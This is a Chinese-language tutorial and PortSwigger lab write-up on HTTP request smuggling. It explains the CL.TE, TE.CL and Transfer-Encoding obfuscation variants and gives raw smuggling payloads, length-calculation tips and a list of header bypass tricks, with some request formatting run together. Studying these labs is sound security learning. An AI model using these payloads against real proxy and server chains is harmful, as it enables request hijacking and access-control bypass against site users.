漏洞介绍
http请求走私漏洞,一句话概括就是像走私饭一样,在一个http请求包中携带着另一个请求包或者是多个。在前端看来这是一个请求包很正常的请求包,但是如果来到了后端处理,就会被解析成多个请求包。最终就会导致没有授权而访问到敏感的信息或者攻击用户
http协议(超文本传输协议),此服务是用于服务器传输超文本到本地浏览器的一个传送协议。
http协议是基于tcp/ip通信协议进行传送数据
从HTTP/1.1开始,就支持通过单个请求包或者发送多个http请求,服务器解析标头以计算每个结束的位置以及下一个开始的位置
Keep-alive概念
为什么会这样的功能呢?
因为http是在tcp连接上运行的,存在三次握手,所以http也继承了tcp的特点,就是慢,消耗一定的资源。为了解决这一问题,就引用了长连接的概念,有效的解决了多次建立连接信息的情况。
主要是通过Keep-alive 头部实现,客户端使用Keep-alive在请求包中,是告诉服务器在发送完数据之前不断开tcp的连接。
那么传送完成,服务器是怎么判断的呢,如果无法判断那tcp连接一直连着不是更消耗资源?
Content-Length概念
CL实体标头字段发送给后端的实体的大小,通过判断CL的长度相等,服务器就会知道这个时候可以断开连接了,如果CL和实体的实际长度不一样会造成内容的截断。如果比实体的内容长,会为缺少的内容进行自动填充,看似完美了,但是服务器为了计算信息的内容,会将所有内容缓存下来,并没有解决web应用的优化
Transfer-Encoding: chunked 分块编码
为了解决web的优化,又引进了一个新的请求头Transfer-Encoding: chunked 也就是分块编码,加入请求头之后,报文会使用分块的形式进行传输内容,不需要再缓存所有实例的内容,只需要缓存分块即可,分块的要求,每块必须包含16进制的长度和数据,长度值独立占据一行,不包括CRLF(\r\n),也不包括结尾的CRLF,当分块的长度为0,且没有数据了,连接结束。
漏洞成因
现在的很多网站为了提高用户的使用体验,访问速度加快,减少服务器的资源消耗。都会使用代理服务器,也就是CDN加速服务。其原理就是网站前面加入具有缓存功能的反向代理,每当用户请求网站时,网站的静态资源就可以在代理服务器中直接获取到,不会从网站中获取,反向代理和后端服务器之间,会重用TCP连接,因为不同的用户请求将通过代理服务器与后端服务器进行连接。不过由于二者实现的方法不同,如果用户提交了模糊的请求包,代理服务器可能就会认为是一个http请求,但是转发给后端服务器,后端服务器经过解析处理后,就只会认为其中一部分请求,剩下的另外一部分就是走私的请求。最终的原因其实就是http规范提供了两种不同方式来指定请求的结束位置,分别是Content-Length和Transfer-Encoding
PortSwigger实验
实验开始前注意,HTTP2是杜绝http走私攻击的,但是如果后端服务器支持http1.1,那我们就可以篡改前端服务器使用http/1.1
实验一 CL.TE漏洞
https://0a4800d903b3090d808e3a85002c0017.web-security-academy.net/
前端的服务器使用的是Content-Length,而后端服务器使用的是Transfer-Encoding
POST / HTTP/1.1
Host: 0a4800d903b3090d808e3a85002c0017.web-security-academy.net
Cookie: session=S5U1Z5rd0NTrLT16sf94eadKXYSfbcMl
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Content-Length: 35
Transfer-Encoding: chunked0GET /404 HTTP/1.1
X-Ignore: X
我们要注意一下Content-Length的长度
它是从0开始算,\r\n算两个字符,所以最终的大小为35,并且要注意的就是CL的长度数值只能小不能大,如果超过了35就无法走私了
我们看看造成的后果是什么,再发送一次请求
所以很明显了,CL.TE漏洞可以让用户访问到我们所控制的页面
GET /404 HTTP/1.1
X-Ignore: XPOST / HTTP/1.1
Host: xxxx.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11xxxx
过程解析:
前端服务器处理CLheader,确定了请求内容的长度为35字节,直到X-Ignore: X停止
该请求到后端服务器的时候,后端服务器处理TEheader,因此消息正文被视为分块编码,
但是我们并没有传入消息正文,所以它在处理第一个块的时候,因为声明为0长度,因此视为终止
了请求,以下的GET /404为被处理,后端服务器会将这些字节视为下一个请求的开始
注意0的位置下面必须要有CRLF,这是规范,不然就无法走私
实验二 TE.CL漏洞
https://0a0e008504a7485e8359aa09006100b7.web-security-academy.net/
此漏洞基于后端服务器不支持分块编码。前端服务器拒绝不使用GET或POST方法的请求
POST / HTTP/1.1
Host: 0afe0075047833e280ac9e1f00f5006c.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
过程分析:
前端服务器处理了TEheader,因此下面的消息正文视为以分块编码。处理第一个块的时候,这个块的
长度为5c个字节,也就是从G开始到x=1\r\n结束,注意x=1上一行不算在内。处理第二个块的时候,
因为长度为0,所以终止请求。
来到后端服务器处理CLheader,确定了正文的长度为4个字节,也就是5c\r\n,下面的GPOST开始
往后的字节未处理,后端服务器就会将这些字节视为下一个请求的开始
我们需要注意的是,5c怎么得来的,其实也就是从GPOST开始到x=1\r\n结束,并且x=1的上一行不算进去长度,因为它是一个标识的意思,表示上面是header头,下面是消息的正文
还有就是走私的请求的CLheader的长度也需要注意,如果长度太小一定是走私不了的
这个范围的内容长度是10个字符,如果我们将CL设置为10,那就走私不了了,必须要加1,也就是11或者再往上大一点
实验三 TE过滤绕过
有的时候,前后端可能会对Transfer-Encoding进行过滤,那我们就需要去绕过它
绕过方法:
Transfer-Encoding: xchunkedTransfer-Encoding : chunkedTransfer-Encoding: chunked
Transfer-Encoding: xTransfer-Encoding:[tab]chunked[space]Transfer-Encoding: chunkedX: X[\n]Transfer-Encoding: chunkedTransfer-Encoding
: chunked
POST / HTTP/1.1
Host: 0a5b002d03b78760817170040057007d.web-security-academy.net
Content-Length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15x=1
0
我们需要注意的是,Content-Type这个关键字一定需要带,不然就会请求超时退出
总结
我们总结一下,在做实验的时候遇到的问题
当前端是使用CL处理请求包的时候,CL的长度与正文的长度可以一致,也可以减,但是不能超过正文的长度
当后端是使用CL处理请求包的时候,CL的长度与正文的长度不能一致,需要加1,不能减